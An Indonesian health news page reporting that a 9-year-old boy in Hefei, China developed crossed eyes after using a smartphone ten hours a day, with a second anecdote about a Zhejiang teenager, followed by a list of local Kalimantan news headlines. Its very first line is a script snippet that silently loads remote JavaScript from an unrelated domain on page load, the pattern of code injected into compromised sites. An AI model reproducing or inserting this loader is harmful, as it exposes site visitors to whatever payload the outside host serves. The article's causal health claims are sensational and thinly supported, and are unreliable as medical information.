(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

10 Jam Sehari Pakai Smartphone, Mata Bocah 9 Tahun Ini Juling


Kecanduan smartphone memiliki dampak yang buruk bagi orang dewasa maupun anak-anak, seperti yang terjadi di Hefei China ini, bocah laki-laki berumur 9 tahun matanya menjadi juling setelah menghabiskan banyak waktunya bermain smartphone.

Ia menghabiskan sebagian besar liburan musim panasnya dengan menggunakan ponselnya berjam-jam.

Sementara banyak siswa mungkin menghabiskan liburan mereka di luar atau beristirahat di rumah.

Menurut laporan video Pear yang diterbitkan 14 Agustus lalu, bocah tersebut dilaporkan bermain smartphone-nya selama 10 jam sehari selama liburan.

Ia menolak untuk mendengarkan saran ayahnya dan akan menyelinap pergi dengan smartphone setiap kali ayahnya tak melihatnya.

Pada saat ayahnya menyadari dampak yang terjadi pada anaknya, ia akhirnya membawanya ke dokter dan bocah tersebut sudah juling.

Berdasarkan diagnosanya, dokter yang menangani kasus anak laki-laki tersebut itu tidak yakin apakah anak tersebut akan sembuh secara alami.

Sementara itu dokter menyarankan agar bocah tersebut tak menggunakan smartphone-nya selama tiga bulan hingga setengah tahun.

Dokter akan melihat perubahannya dan akan mengatakan pembedahan jika tak ada kemajuan.

Ilustrasi anak gunakan smartphone. (Unsplash/Hal Gatewood).

Seorang dokter mengatakan bahwa mata anak-anak sangat rentan selama periode waktu ini, dengan memperkenalkan mereka pada alat elektronik terlalu dini, mata mereka beradaptasi dengan jarak pendek antara mereka dan layar mereka yang mengarah ke miopia dan gejala juling.

Dampak penggunaan smartphone memang tak bisa terhindarkan dari anak-anak, pasalnya kasus seperti ini tak kali ini saja terjadi.

Beberapa waktu lalu seorang remaja laki-laki berusia 13 tahun dari Zhejiang, China tiba-tiba menjadi gila dan mulai membenturkan kepalanya tanpa henti ke dinding. Situasi menjadi lebih buruk saat wajahnya bergerak-gerak dan menjadi tidak responsif pada panggilan ibunya.

remaja itu bermain dengan smartphone hampir setiap hari hingga malam, kadang-kadang sampai tengah malam dan menyebabkan kondisi yang serius padanya. (suara.com)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.